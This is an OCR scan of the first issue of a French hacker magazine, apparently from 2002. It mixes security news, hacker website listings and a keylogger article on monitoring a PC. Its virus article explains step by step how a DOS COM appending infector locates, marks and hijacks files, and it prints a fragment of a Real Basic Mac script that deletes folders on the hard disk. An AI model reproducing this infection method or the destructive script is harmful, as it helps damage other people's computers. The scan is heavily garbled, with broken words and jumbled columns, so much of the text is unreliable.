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NUMERO I COMPLETS

C'est durant les quelgques mois d'été gue nous avons
commencé d penser a HackMania. Connaissant Hacker
News Magazine nous souhaitions ¥oir un secopd
magazine apporter une information comp_lementotr.e
avec moins de news et plus d'articles technigues mgls
abordables pour tous. En effet, aprés avoir vadrou_lllé :
pendant quelques années dans le milieu du hacklpg‘

nous voulions fair

== qyelque chose d'utile e

= f de  concret.

| décidions nous d

| contacter lUéditeur d

| Hacker Mag pour MrE

| proposer de contribuer

: | & notre projet. Celui ci,

' | enchante, nous a

| immédiatement N aidé
§ et nous a permis de
|| sortir aprés quelques
| mois de. travail ce

.;‘! premier numero,

E pPiobablement impar-
e | faltidu fait' de sa

f§ Jeunesse. mais qui

| apporte une

{'information nou-

velle et indéite. leci

\ Pas de titres

\ racoleurs faisant

| croire que nous

B -1 allons vOUS

\,“,_ R donner des adres-

. ses de sites pirates ou des

failles de Sécurité qQui menacent tous les

ordinateurs du monde. Nous aurons bien entendu de

nombreux sujets intéressants et passionnants car nous

avons choisi de ne pas raconter des flans mais tacher de

falre_- des sujets variés qui vous intéresseront un
maximum.

Dans ce numeéro nous avons dailleurs décidé de
commencer fort en vous proposant un article sur la
lecture de CD de films vidéo sur Playstation, un gros
plan sur 'um keylogger logiciel vous pPermettant de
capturer_tout ce@ gui se passe sur votre PC, un gros
dossier sur les pare-feux, uUne interview du pére du
legicietilibre, Richard Stallman, une introduction aqux
virus etc. ete. Vous 'auréz compris de tout Pour tous |
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n destructeurs, bien au contraire.”

Aussi



Comment Internet
a Tailli s’ecrouler...

Que diriez-vous si nous vous annoncions qu'il y a fort peu de temps, le réseau
Internet a bien failli s'écrouler pour de bon, rayé des cadres, atomisé. La raison
d'une telle perspective ? Une attaque visant les 13 principaux serveurs Internet
qui a bien failli faire vaciller le monde virtuel tel que nous le connaissons.

C'est le 23 octobre que la  Finalement, rien & craindre ?
dépéche est tombée sur Eh non ! Ne vous réjouissez pas trop vite car
tous les téléscripteurs du si cette attaque a
monde entier. Pourtant fort peu de échoué, elle ne
medias ont accepté de se faire le relais de présage pourtant
cette information. La cyberattaque qui a rien de bon. En effet,
bien failli faire basculer le réseau Internet toujours selon les
dans les ténébres visait les treize plus gros memes experts
serveurs Internet du monde. Les auteurs (décidément trés
pour le mement soupconnés d'une telle bavards quand il
offensive ont été plutdt audacieux puisqu'en s'agit de nous faire
‘attaguant 3 ces treize serveurs, ils avaient peur '), cet "incident" pourrait surtout
rfaitement conscience d'avoir les moyens augurer d'attaques futures d'une envergure
paralyser les communications Internet. considérable et d'une violence extréme. Plus
principe de I'attaque, une surcharge de grave encore, il semblerait que les auteurs
equétes qui auraient dii avoir pour effet de cet acte aient avant tout cherché a tirer
nihiler I'ensemble des ordinateurs du les enseignements de son offensive et ne
i. Vous avez bien lu " aurait di " car, cherchaient pas véritablement & faire
étes connecté depuis le 23 tomber le réseau. Fort de cet
us avez di constater que tout apprentissage, il
ne a merveille. Pourtant y a fort a parier

avons bien : ous ue de nouvelles
ce que N q
"Cela T‘Cssemgl;f;éaqje terrori_ste.' tentatives plus

r Group agressives
well, Gartne

pourrait bien
voir ] jour
prochainement. Alors, accrochez-vous a vos
souris, il est possible de ¢a fasse trés mal...

attaque

ajeure”

e, l'offensive avait
ique terroriste, En fait de
ité des

Entrée en scéne du FBI

Lorsqu'on parle de cyberterrorisme, le FBI

internautes

t de l'attaque, ne se
cus que le Net risquait n'est jamais bien loin. Aussi, I'un des porte
t de séisme, seul un parole du célébre bureau d'investigation a

eéchanges de précisé que ses services étaient bien au

tre ressenti courant de cette attaque et qu'un certain

nombre d'effectifs "s'occupaient du sujet”.
Pour I'heure, le monde entier se trouve
dans la perplexité la plus totale et les seuls
élements tangibles qui
soient en notre
possession, c'est
gue [|'attaque a
duré environ 120
minutes entre 20
heures et 22
heures GMT dans
la journée du 23
octobre 2002. Une société de surveillance
des activités sur Internet a méme précisé
avoir enregistré prés de 10% de perte des
transmissions au paroxysme de
Présenté ainsi, cela n'a I'air de rien mais il
faut savoir gqu'en général, ces pertes
n'excédent pas 1%... Un autre fa
c'est que cette attaque visait J:
I'une des piéces maitresses, I'une des
de voite de l'infrastructure de I'inter
mondial. Sur les 13 serveurs attaqués
ont pu étre mis hors service dés le début
de I'attaque
avoir causé d'énormes dégats m

L'attaque ne semble pas
t

consequences auraient pu étre
toute autre envergure s E
avaient été en état de

utilisé Internet
munications. Bref,
se sentir pris i
reconnaitre
vraiment quol f

coupables... lls coure

V MAG POUR VOUS: OUE VOUS SOYEZ NEWBIE OU CON

Le monde du Hack est fait de choses relative ment simples mais aussi trés difficiles

d'un indicateur de niveau

(pour qui s'y connaissent un peu) et

aussi bien le débutant qui n'y connait pas grand chose

ordinateur n'a plus de secret! La plupart de nos article

Ecrire n’est pas toujours évident et il convient de faire des articles

que le pro pour leque
s seront donc acc
(pour ceux gui commencent)

pour les experts)




nsidéré par les pirates informatiques
‘comme une cible particulitrement prisée par
es pirates du monde entier depuis le
ancement de leur site internet. D'aprés une

| information divulgée par les services secrets

russes, le nombre de tentatives de piratage a
ainsi plus que doublé en I'espace d'un an,
dépassant déja le ler septembre les 760
000 attaques, ce qui laisse supposer que ce
chiffre dépassera le million d'ici a la fin de
l'année. Le porte parole du FSB a toutefois
immédiatement précisé que cela n'était pas
le fait des services étrangers mais de jeunes
adolescents espérant s'illustrer et "montrer
leur hardiesse”. Il a d'ailleurs illustré ses
propos en indiguant que "dans un seul cas,
celui d'un pirate qui était trop insistant, nous
sommes remontés jusgu'a la source, et il
s'agissait d'un étudiant en informatique de
18 ans de Krasnoiarsk (Sibérie) qui avait
obtenu illégalement un mot de passe. Il a été
condamné a un an de prison avec sursis".
Ainsi il apparaitrait que sur les 90 000
attaques mensuelles, plus de la moitié sont
originaires de Russie ou de républiques de
I'ex-URSS tandis que le reste d'autres
pays. A titre de comparaison, le site du
Pentagone subit plus de 200 000 attques,
un chiffre qui, bien qu'étant plus élevé,
montre a quel point le site du FSB est
“harcelé" ...

COMPLOT AU CCEUR DES US !

On croyait avoir tout vu dans le fameux film
5 de Mel Gibson, Complot,
I GANIE mais il semble que cela ne
IJANSAIIL) soit pas le cas. Le célebre
: hacker I<evin Mitnick, pour-
TAILIEY chassé pendant plus de 4
ans par le FBI et qui vient
d'étre relaché aprés avoir
purgé plusieurs années de
prison, a publié sa version
des événements dans un livre de plus de 300

pages. Une version trés différente de celle du
FBI qu'il accuse d'ailleurs de I'avoir diabolisé
lors du proces. 1l faut reconnaitre que le
dossier d'accusation contenait plus d'un
million de pages, Mulder et Scully avaient
sans doute un peu exagéreé ! :-)

Plus sérieusement, son livre est tout
simplement incroyable et doit étre lu par tous
ceux qui s'intéressent au hacking et a la
défense  des libertés individuelles:
http://www.defensivethinking.com/aod/default.htm|

| US : IMMIGRATION SOUS CONTROLE HIGH TECH [J

Les services américains d'immigration et
de naturalisation qui
doivent mettre en place
d'ici trois mois un systéme
de pistage informatique de
tous les étudiants
étrangers, viennent de se
faire remonter les
bretelles par les sénateurs.
En effet de nombreux
étudiants parmi les 500 000 présents sur
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le territoire de I'Oncle Sam s'inquigtent de
ne pas avoir recu la moindre formation sur
le systétme & venir. Un état de fait qui
pourrait  résulter sur de graves
dysfonctionnements qui n'ont pas échappé
a certains membres du congrés. L'un d'eux,
le sénateur Jon Kyl, ulcéré a affirmeé que
"protéger les frontidres de notre nation
d'infiltrations terroristes est une entreprise

sérleyse et qui doit &tre traitée comme une
priorité absolue."







e et logicielle afin
> plus slrs. Les plus
ont déja en train de rire songeant

ait bien que les petits malins
moins d'ici quelques temps.
officielle qui concerne
aisse a penser que ce systéme
1 a un nAiveau inférieur
que l'un des systémes
tation sera directement intégré dans

el, nécessitant ainsi une véritable

émoire et dans le disque dur. Cette
noire ne sera accessible pour les
| applications uniquement si I'utilisateur
ispose de l'une des clés d'authentification
\valide. Dans le cas ol quelqu'un (ou vous-
méme) tenterait de violer le systéme, le
systéme bloguerait automatiquement I'acces
et remplacerait automatiquement les clés.
Un systeme relativement comparable existe
déja sur la console de Jeux Xbox, toujours de
Microsoft. Cette protection est destinée a
prévenir le remplacement de certains
composants matériels ou logiciels sur la

console. En d'autres termes, il s'agit d'éviter
que les utilisateurs puissent modifier la
console pour jouer avec des jeux piratés. En
somme, un troyen ou un Virus ne pourrait pas
vivre et se déployer dans un PC doté de
Palladium car il serait immédiatement isolé
et mis en quarantaine, vous seriez informé
instantanément et il serait alors dans
l'incapacité de nuire. De la méme maniere
que pour les virus, des séries de programmes
issus de petites compagnies pourraient elles
aussi étre bloquées. En vérité, Microsoft
pourrait bien bloguer tous les logiciels gu'elle
désire comme, notamment tfous les
programmes qui permettent de reproduire de
['audio et de la vidéo comme les MP3 ou les
fichier AVI. Ou encore, Microsoft pourrait se
servir de votre PC pour pécher des
informations car toutes les communications
au sein de votre équipement, entre les
périphériques seraient numérotées, archivées
et tous les échanges de données pourraient
constituer des renseignements précieux
ensuite expédiés vers Microsoft qui se
servirait de ces informations pour affiner ses
systémes etc. En somme, sur I'ordinateur, il
ne serait possible que d'installer des logiciels
certifiés, approuvés et autorisés par vous et
Microsoft, autrement dit, nous pourrions
dans le pire des cas, n'installer que des
logiciels Microsoft et rien d'autre ! Dans le
pire des cas, nous pourrions méme ne plus
€tre en mesure de graver des CD de données
personnelles, ou des fichiers audio MP3 a
partir de compositions personnelles. Bref, si
Palladium devient une réalité, |les
consommateurs verront diminuer les
possibilités de choisir le type de logiciels
qu'ils souhaitent installer et utiliser sur leur
ordinateur.

LE CD ANTI-COPIE FAIT DES EMULES

O

ony s'était lancé dans I'aventure du
Cd protégé sans grand succes
pourtant, aujourd'hui c'est la société de
production BMG qui la rejoint dans ce
procédé. Et pas dans la demi-mesure car,
c'est prés de 80% du catalogue de la

société qui est concerné par cette décision
dont les derniers albums de Santana et
Whitney Houston. Voila qui craint
vraiment, d'autant que les rumeurs
courent selon lesquelles Universal pour se
joindre & son tour au mouvement.
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Nous EXPLORONS.. ET VOUS NOUS QUALIFIEZ DE CRIMINELS.

CONNAISSANCE.. ET VOUS NOUS QUALIFIEZ DE CRIMUNELS. RUCUNE nm:m;sesp;lrmﬁugg

| NATIONAL(TE, AUCUNE RELIGION NE NOUS SEPARE.. ET VOUS NOUS QUALIFIEZ DE CRIMWNELS, VOUS

B | FnamusznEsmnmssmmmues.vuusnéu&nmnsssummmeznmusmm
- | ENNOUS FRISANT CROIRE QUE C'EST POUR NOTRE BIET, ET C'EST NOUS LES CRITHNELS,

Le Manifeste du Hacker, 1986







structures critiques ou, en anglais dans

le texte Critical Infrastructure
Protection Board vient de rédiger un premier
brouillon de ce qui sera trés prochainement
aux Etats-unis le plan national pour
sécuriser le cyberspace. Ce plan, pourI'heure
encore au stade de projet est le symbole de
I?émérgence d'un consensus entre les officiers
|fédéraux, les experts académiques,

‘ Le Bureau de protection des infra-

| universitaires et de ['industrie, les experts de

la sécurité sur l'ensemble des moyens a
mettre en oeuvre et les méthodes pour
sécuriser le cyberespace. Une vieille angoisse
pour nos amis américains qui cherchent &
mettre la main sur un milieu un peu trop
libre dans un univers libéral ! Ce projet
intégre de nombreuses recommandations qui
sont surtout tirées de la pure logique et du
sens commun et qui implique un vrai
déterminisme de la part des autorités. Le
public sera en mesure de faire ses
commentaires sur le projet pendant les deux
mois a venit. Pour I'heure, subsistent malgré
tout des points obscurs dans ces résolutions
qui vont étre adoptées pour sécuriser les

POURLA []

réseaux. Ainsi, seules les administrations se
sont vues infliger des dates limites pour se
mettre en conformité avec ces nouvelles
directives. L'autre point fort de ce nouveau
plan, c'est le fait que les autorités comptent
bien sur une mobilisation générale des
populations pour participer activement soit
par I'apport d'idée, soit par des actions dans
cette gigantesque entreprise de reprise en
main de la sécurité du réseau.

Ils attaguent a tour de bras !

Un groupe de dissidents chinois a affirmé
avoir lancé des cyber-attaques depuis e
continent chinois vers des cibles situges
outremer, a savoir notamment, les Etats-unis.
Le groupe prétend que les attagues sont de
grande envergure et ont été tracées depuis le
bureau des telecoms chinois vers plusieurs
provinces et régions du monde. La tactique
incluait également l'envoi de messages
électroniques avec des adresses emails
spoofées et des chevaux de Troyes qui
ouvrent une porte dans |'ordinateur du
destinataire ou s'accapare et envoie des
fichiers vers des machines basées en Chine.
Bill Dong, le porte-parole de Dynamic
Internet Technology, affirme que les attaques
décrites correspondent au moment des
déclarations effectuées par le ministére de la
sécurité publique exigeant un renforcement
des lois contre les piratages dirigés a
I'encontre des machines sur Internet. De son
coté le gouvernement chinois n'y met pas du
sien puisqu'il bloque les adresses IP des
requétes internet qu'il estime inacceptables
plutét que d'examiner le contenu des
requétes...

/ DIVX AU SALON

o ]

R

pouvant lire les ficiers au format
Divx devrait étre commercialisée. La
toute nouvelle Kiss Player D 450 pourrait
&tre commercialisée aux environs de 400
euros et point trés important, elle permet
de lire les fichiers DivX. Une

En novembre, une platine de salon

| 1a comptabilité avec les futurs standards
DivX, actuellement nous en sommes a la
version 4.0. Reste & savoir si ce
fantastique lecteur sera du golt des
producteurs de films ! Nous on g

‘ préoccupation subsiste toutefois quant a

e .-
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www.kiss-technology.com
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Comme indiqué sur la page de
garde nous pourrions résumer les
objectifs de BugBrother avec "You

Watch, We Watch" ('"Vous
regardez, nous regardons''). Ce
site s'est spécialisé dans |Ia
surveillance/veille de ce que font
les "grands" de la planéte et
notamment en France, Un site
central et fédérateur qui regroupe
toutes les informations sur les
thémes attenants tels que la Loi
Sur l'Information.

X o e

AT EL.IT - Aituoi Preforiti *

@VUta aguesto sitoa

www.piratel.it

D'accord il s'agit d'un site italien, mais le contenu est intéressant et puis il n'y a

pas que le francais et I'anglais, non ?

SAUR
WACKIER CRACKER PREACKER E MOLTO ALTRGH!

http://crea.html.it/sito/SAUR
http://digilander.iol.it/hacksaur/>>
http://www.lsijolie.net
http://www.reseauvoltaire.net

Pour tous les pourfendeurs des idées

recues et les amoureux de la liberté

www.dvddezone.net
Pour tous les amateurs de DVD qui ne

supportent pas les limitations dues aux
brimades imposées par les zones.

T e

e —

N
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www.phrack.org

Phrack est un ezine américain qui fait
référence dans le monde de
I'underground américain, qui a I'honneur
d'une citation dans un rapport de la part
du plus gros opérateur téléphonque US,
AT&T, suite a un article publié sur le 91|
(numéro des urgences aux Etats Unis).
Celui ci devint la principale piece a
conviction dans le premier procés
important contre des hackers. Phrack
est aujourd'hui une source d'information
riche méme si le haut niveau de son
contenu qui n'est pas a la portée de tous.
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Vendrod 20 Septombre 20002

http://www.hoaxbuster.com
Des milliers d'e-mails relatant de
fausses informations circulent sur
le réseau. La plupart du temps
alarmants, ces messages ne sont
en fait que des hoax (canulars).
Des rumeurs préjudiciables a
dénoncer.

#{acktivismo

and Double dard:

Bombs,
OO o8 S W ar Sl it e ot Editor]

it vould relesse Camen

‘application. Evar since ve've baen bombarded by
wanting to know, "Could this application be used
boogiemen were child pomographers. Next
yaar thay might ba axtraterrastisls, Who knows?

tarrorists?” Last year the

‘Wa know wa're in tha business of providing technical solutions for
‘activists, not assisting bomb throvars and veenia vagers.

‘Camara/Shy activaly banefits the democratic exparience vherever
other softvare Htans

http:// www.anonymat.org
Toute I'actualité concernant
I'anonymat et plus globalement de la
protection des données par
l'intermédiaire de tous les liens vers
des articles traitant de ces
thématiques. Manque d'un peu de
contenu car cela ressemble plus a une
revue de presse plutdt qu'a un
véritable site.

Hacktivisma Headlines

by

Corporations Lisble for Human Rights Abuses
Quesr Opportunities

Tha Bolocks Behind DIGITAL /11
“Bamblions from New Jecisx” Debute

Sesuring Social Justice.
Set Your War On

Pour tous ceux qui

veulent

s'investir dans des projets,

www.hacktivismo.com vous permet de le faire tout en prenant parti
pour la défense des libertés individuelles.
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www.cultdeadcow.com

Cult of the Dead Cow (Culte de la
Vache Morte) est le nom du
groupe de hacker a l'origine de
Back Orifice, probablement le plus
célebre Cheval de Troie de toute
| I'histoire. Contrairement a ce qui

| se fait d'habitude, les gars de DC ne
| cherchent pas a4 se masquer mais

bien 4 se montrer et a faire parler
d'eux. Ainsi pour le lancement de

Back Orifice 2000, ils avaient méme B8
organisé une conférence de presse §

pour démontrer combien leur
"logiciel d'administration a
distance” était bien meilleur que
d'autres solutions telles que PC
Anywhere de Symantec ou d'autres
programmes similaires. Aprés les
événements du || septembre aux
Etats Unis, ils ont offert au FBI leur
aide dans le cadre des enquétes.

www.ixus.net/
Un tout nouveau site web
d'information francophone indépen-
dant, dédié a la sécurité informatique,
aux outils réseau et aux distributions
Linux sécurisées destinées a la mise en
| place de passerelles, firewalls et VPN ou
au partage de connexion ADSL. Un peu
| jeune mais prometteur.




25 les deux
majeurs
ackers et
tiés" se

¢ les cheveux

1 de ces noms .

iété que les

s bidouilleurs des

monde réel, trés peu

i les connaissent

nous ne reviendrons

5r0 sur les hackers et

rle actuellement déja

nence a naitre une

utation que se sont fait

des journalistes peu

le la télé ou la radio. A I'opposé des

ous ne saurions pas prendre la

les virus, étant donné que leur

est exclusivement nocive et

ce. Toutefois, il est nécessaire que

2 un peu de temps pour tenter
ffrayants "killers’ de PC.
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les détails, il nous semble
stinction entre les diverses
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catégories de virus. Souvent et volontairement,
des amalgames sont fait et cela au détriment
d'une information claire et pertinente.

Lorsque l'on crée un virus informatigue, son
créateur cherche & réaliser un programme de
petite dimension ayant pour objectif de rester
dans l'ombre de son hote et de se reproduire
sans attirer |'attention, jusqu'au moment ot il
devra entrer en action.

Dans la méme famille que les virus, mais qui ne
sont pas destructeurs en eux mémes, les troyens
ou chevaux de Troie comme les trés célebres
NetBus, Back Orifice ou le plus récent Sub 7.
Toujours dans le méme esprit, les vers appelés
aussi worms. Méme s'ils se diffusent dans le
réseau en utilisant souvent les failles dans les
systémes des ordinateurs et font appel a la
naiveté de ceux qui en sont victimes, ils se
distinguent des virus a proprement parler &
cause de leurs modes de fonctionnement sur le
réseau et de la diversité des opérations qu'ils
permettent une fois installés sur un PC.

En ayant distingué les deux catégories de virus,
il ne nous reste gu'a faire un résumé des
diverses typologies des virus existants : on part
des plus simples, les virus "appendices" des
fichiers COM, en passant par ceux du type,
désormais impotents, MBR ou vifus de Boot
puis par les stealth (compreneéz virus furtif)

)

partiaux et complets jusqu'aux polymorphismes
et aux virus les plus récents pour Windows sans
oublier les virus des MACRO d' Office.

Ce sont quelgues-unes parmi les types d'
“infections virales" connues et il y aurait
necessité de noircir beaucoup de pages pour
expliquer comment elles fonctionnent en détails.
Pour cette fois nous allons nous limiter a traiter
les plus simples dentre elles comme les
appendices et allons faire allusion au
polymorphisme et & la cryptographie.

>> Les Virus systeme

Les virus systéme sont les plus communs et
les plus faciles a réaliser. Ils se copient a la fin
d'un fichier et quand celui-ci sera exécuté, ils
en prendront le contréle, se reproduisant dans
les autres fichiers et, en dernier lieu, prennent
le contrble du programme infecté et fait en
sorte que tout semble normal. Ce type de
parasite doit &tre trés petit, pour ne pas trop
augmenter les dimensions d'un fichier, car
autrement, il serait trop facilement repérable.

Ces virus se divisent en deux sous-catégories,

on trouve celles qui sont congues pour les
fichiers COM et les autres pour les fichiers

EXE. En fait, dans les deux cas, les fichiers




axtensions sont exécutables, ils ont

de différences entre eux et

es fichiers COM devient trés
tant donnée leur structure,

b.: sera donc davantage sur

n des fichiers COM. Le premier choix

la construction d'un virus sera

ngage dans lequel on va |'écrire.

le langage 'C' peut &tre une

tive valide, surtout pour les virus

: pour Windows, |'assembleur reste la

e solution & adopter.

encons donc par voir ce que doit faire

er pour en infecter un autre sans le

jirus mis en exécution doit chercher

* com (pour l'instant nous nous

ceux-ci), trouver un moyen de

n'a pas deia été infecté, modifier

Jise, et a la fin, retabllr la date

odification et de ses attributs

les a trouvés afin qu'il ne laisse pas

les choses sont assez simples, le
ur le débutant, c'est de
mment agir, de fagon a ce que
le contréle du fichier exécuté et
us qui, comme il est expliqué
quer a la fin du programme.
donnée par l'instruction dans
1achine JMP qui est écrit au
. en déclenche |'exécution a la
précisément le virus. En
rnier, une fois exécuté, cherche
¢ et dés qu'il I'a trouve, il
premiers bits du fichier
g, écrit l'instruction JMP
gu'elle prendra dans le

n
p

r tout cela dans

le code du
era avec les opérations
lire la cloture du

attributs et

>> La genése des virus

Une chose souvent oubliée par le plus grand
nombre, c'est que des variables utilisées
dans les virus, changent leurs valeurs
d'offset quand celui-ci se colle a |a fin d'un
fichier. 1l se trouve qu'il est souvent
impossible de remonter effectivement ces
variables, elles s'ajoutent a leur ancienne
valeur d'offset (celle attribuée par le
compilateur), en la liant, & la fin, a un autre
fichier. Pour obtenir la valeur a augmenter,
il suffira d'utiliser I'instruction CALL qui
appelle une procédure, et soustraire dans le
registre BP (qui est peu utilisé) I'offset de
la procédure appelée. Tout cela est possible

parce que, quand on appelle avec un CALL,

|'offset de la procédure sera mis sur un
stack, donc avec POP, on le m A

ce |mm\ les références aux variables seront

faites en appelant [BP + OFFSET

variablel.

Cette procédure est fondamentale pour

eval de 'h'o:e

TITTIITT

'umﬁ_ﬁl_&ii

taw #5 &

mma
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éviter de perdre les références aux
variables. En revanche, il ne sert a rien de
modifier les instructions qui utilisent un
offset relatif comme JMP ou CALL ou les
différents sauts conditionnés.

Une fois trouvée la variation d'offset, le
programme impose de commencer a
chercher le fichier & infecter. Etant donné
que pour le moment nous traitons seulement
des fichiers *. COM, la recherche sera
limitée & ce type de fichier. Pour en chercher
un, on fait appel’ aux commandes FIND
FIRST et FIND NEXT, c'est a dire Ja 4Eh
et la 4Fh du DOS (interrupt 21h). On
commence en utilisantle 4Eh qui cherche le
premier fichier, cette fonction demande que
dans le registre CX soient notés les attributs
du fichier & rechercher ( 0-Read Only 1-
Hidden 2-System 3-Label 5-(réservé) 6-
Archives) pendant DS :DX. Le fichier a
chercher avec les éventuels wildcards.

Dans le cas du virus, il faudra mettre dans
les données une véritable FileCOM DB
"* com', un 0 qui représenté la rangée en
ASCIIZ & chercher (le format ASCIIZ
prévoie un 0 a |a fin de chague rangée). Puis
mettre en CX le type de fichier a chercher
avec MOV CX, 0000H pour trouver, par
exemple, les fichiers Read Only. Ensuite
mettre en DS :DX, la sanqee a chencher
avec LEA DX, g:. H i ]
donc appeler INT 21h pour commencer la
recherche. Celle-ci restituera seulement le
premier fichier trouvé, si celui-la ne
répondre correctement, il suffira le
FIND NEXT (fusion 4Fh du INT 21h) avec
les mémes paramétres (CX attributs, DS :
DX fichier a chercher) pour trouver le
fichier suivant jusgu'a ce que nous aurons
trouvé une victime adaptée.

Jusqu'ici tout devrait étre trés simple, mais
ou FIND FIRST et FIND NEXT nous
restituent-ils le fichier 7 Bien sir, dans la

ﬁéiisSa




fere, pour lire n'importe
buts, il suffira d'ajouter a
riable DTA, la position de

: trouvé, il est
e s'assurer qu'il correspond a

nfecté, il sera plutbt
te opération.

5 communes pour

a 616 infecté est de
nfection dans les

» (et du virus
truction de

une position

Dans

Ictions nous

ommence |e

commencer a infecter,
ichier & 4 bits n'a pas été
1 CMP, et dans ce cas-1a,

se fera plus.

Ce premier regard dans le monde de la
programmation de virus nous prouve la
complexité et la quantité de problemes
gu'un virus-coder rencontrera quand il se
mettra en téte de " sortir du four * quelque
parasite informatique.

Méme si, comme nous |'avons déja dit,
écrire un virus et surtout le diffuser dans le
réseau sont des actions toujours
destructices et nocives (mais pas pour les
grandes entreprises qui produisent des
colteux systémes antivirus).

La fascination technique qu'exercent
certains aspects qui s'affrontent dans le
milieu informatique est inégalable : le
meilleur conseil est celui de toujours
apprendre en étudiant ce type de codes;
souvent il vous arrivera de rester coi en
observant avec combien de facilité un virus-
coder résout des problemes de
programmation qui font ['objet de votre
attention depuis des jours et des jours...

(Dans les prochains articles, nous continuerons le
traitement des virus en entrant dans les
spécificités de certains aspects et en analysant
les diverses typologies d'infection).

lEToP 5 VIRAL.

Gk ARG

Programmer un
virus n'est pas
une opération

réduite aux PC Ibm
compatibles, en Mac ()5

fait c'est une
opération simple, méme dans
1'environnement Mac. Evogquons,
dans une vocation didactigque,
1l'exemple d'un virus tres
efficace réalisé en Real Basic,
un des logiciels de
programmation les plus diffusés
dans l'environnement Mac:

W

1]
0w n

f
g
h

S
0

)

Then
h.Delete
End if

i=GetFolderItem("Macintosh
HD:Dokumente")

If i <> nil Then

i.Delete

End if

j=GetFolderItem("Macintosh
HD:Internet")

nil Then

j.Delete

End if

Ce sympathique virus peut
bloquer un systéme opérationnel
ou endommager sérieusement un
disque dur, connaitre le script
peut vous servir pour vous
sortir de l'embarras,

en cas d'urgence




DVD A L'EPREUVE DE COPIE
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probléme de la piraterie

semble toucher a peu prés

tous les secteurs de la

technologie et de la

mmation. C'est une toute autre chose que

nique qui concerne la musique distribuée

format MP3 et les CD audio qui sont

lement dupliqués ou copiés sur le disque dur

r pouvoir ensuite les partager en ligne via un
u Peer to Peer.

is maintenant I'alarme provient de I'industrie

raphique et concerne un secteur en

croissance, celui des DVD vidéo qui

ont devenus un des formats les plus

ts. Ce qui préoccupe les maisons de

ion cinématographique, c'est I'abais-

I prix des graveurs DVD, qui contribue,

largissement sans limitation du marché

tions. L'équation est simple: plus de |

lus de copies illégales, et comme
t terme, moins de profits pour

>> La partie devient de
plus en plus hardue...

D'autres systémes pour combattre le
piratage ont été récemment introduits, mais
malheureusement . pour les géants
discographiques, leurs pendants en matiére
de décryptage ont immédiatement vu le jour,
toujours plus efficaces et fam‘irr'nfm
utilisables comme le récent Smar
téléchar ?sablek ai <eme nt sur Inte

les
teur que ce

| foi une alliance peut étre
envisagée, justement avec les producteurs de
| gr rs et de lecteurs DVD qui, en quelque
sorte, font involontairement partie de la
“chaine" qui améne a la realisation des
copies pirates. L'idée qui est actuellement &
I'étude consiste a équiper les DVD d'un
filigrane  électronique - (Watermarking
Review Panel) lisible par les lecteurs et
graveurs DVD de'la nouvelle génération, s'ils
sont construits avec les parameétres
techniques adéquats. Le filigrane est le
méme que celui qui est utilisé pour les DVD
audio et contresignera de fagon permanente
chaque séquence particuliére, vidéo ou

audio, avec un signal qui, on le suppose, sera}
imperceptible pour les oreilles ou les yeux
humains. Ces identifiants pourront toutefois
étre reconnus par les appareils
reproducteurs et enregistreurs.

Ceci étant dit, si une copie dépourvue de
filigrane électronique venait a étre chargée
sur un graveur, l'opération de duplication né
sera pas possible et les lecteurs DVD né
pourraient méme pas la lire. Ainsi, il
deviendra pratiqguement impossible de
dupliquer des DVD, mais aussi de lire ceux
qui sont  éventuellement réalisés
illégalement, c'est une double protection qui
semble vraiment étre a toute épreuve.

Tout cela sous réserve que |'alliance
entre les producteurs de hardware et
I'industrie de la“vidéo numérique oeuvre
|dans le-bon sens, méme s'il est diffici
| d'affirmer qu'avec cette notvelle strz
| lutte contre le piratage. sera
| gagnée. 1| reste certains dou

Elle a fait du tapage, da récente décision
Cour d'Appel de New York qui a, en
effet, condamné le propriétaire d'un site (nb
[web 2000) en lui interdisant d'héberger le
lien qui permet de télécharger le programme
DeCSS, c'est a dire le logiciel permettant de
contourner les protections des DVD et de
pouvoir les copier aisément sur son propre
PC pour les reproduire par la suite. Selon
les conclusions de la Court new-yorkaise
l'utilisation d'un code comme le DeCSS
conduit de facon implicite a la reproduction
illégale de DVD protégés par le copyright.
La sentence par elle' méme n'a rien
d'extréme, elle ne fait que reprendre une
loi, plutdt contestée, connue sous le nom
de Digital Millenium Copyright Act
(DMCA), approuvée en 1998 et qui d'une
certaine facon réglemente le “code
informatique”, c'est a dire reconnait que
le logiciel avec les annexes et les
connexes €galement est digne de la
tutelle du copyright.
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UR ESPIONNER UN PC

Quelqu'un regarde ou utilise votre ordinateur sans votre autorisation

>> Installation et utilisation
I'argent a pet

cas partir du site www.litt

i pas, mais Le programme que
dans |
contraire

pouvez
recours
Mmﬁ‘;‘”"’" | une fois
m_mm‘m

megsages, chats, and (R technoloc
{yped, Incuding smaile, I0S(20 | el g
. ""’“‘..‘ll‘“‘"’ Y

€

e ek [
,  vous s d

JI€

met a
No s scitwars (o nsiall or 627

S

+ Simplato st st g 110

« Uses no systen 1

disposition

pieges confec-

tionnés a
mecisco.com | m‘x:}lwc? Ct
whardware faciles a utiliser. e

: Tout le monde e~
e systeme. ; . -
sait que I'on D Dwrgn. B Vi ogfle
peut installer des > > —
disques durs amovibles, des i

programmes de cryptographie et tout un tas de 3
choses qui protégeront nos données, mais de
toutes fagons, toutes ces astuces ne nous

révélerons pas l'identité de l'intrus qui tiguement keylogger au lancement de votre
pourra lui, continuer d'agir en toute tranquillité. PC et indiquer I'emplacement du fichier log et
Pour rassembler des éléments qui nous éventuellement faire des captures d'écran.
indiqueront le coupable, il est fondamental de - .

savoir ce qu'il fait avec votre PC, quels sont ses
buts, quels sont les documents qui l'intéressent,
et ce qu'il veut en faire apres les avoir trouvés.
Comment est-il possible d'obtenir toutes ces
infos 7 Et bien tout le monde sait que pour
utiliser un ordinateur il faut appuyer sur des
touches

- meces winw.keyghost.com gt W,
i trouver des keyloggers
¢ indétectable par

that pou hava 4o reviar the Logging Engine for any changes ta take ehfect
Conbigraion

pourrez :
el]. completemer

Options de base pour lancer automa-

i
i

et cliquer a l'aide d'une souris sur

el

certaines applications. C'est ce que nous allons
utiliser a notre avantage en exploitant ces
‘contraintes techniques" (mémorisation de
chaque frappe sur le clavier et de chaque
- programme utilisé par le curieux). Les
s> Les l’j-!rll[' IIi!jildlE Keyloggers sont des instruments créés dans ce
but 1a, lls enregistrent & la lettre chague
activité, que se soit une application ou du texte
introduit, en gardant tout cela dans un fichier

Depuis toujours, comme dans log qui s'avere ainsi particulierement riche en ¥ Compubes it Wk DUN Mook, Conm. hat pamanert bl corvmcion
hague roman policier qui se respecte, le informations, 11 est possible de trouver des bt OURTGGBRENE T Wt wndbole
a . A Sand e
n le plus efficace serait d'installer un dizaines de Keyloggers sur Internet, mais nous Barbes i [omibyaion com s E-.. E..f@
